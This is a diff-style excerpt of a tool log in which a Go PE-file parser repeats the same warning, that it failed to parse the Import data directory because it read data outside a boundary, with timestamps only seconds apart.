+time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 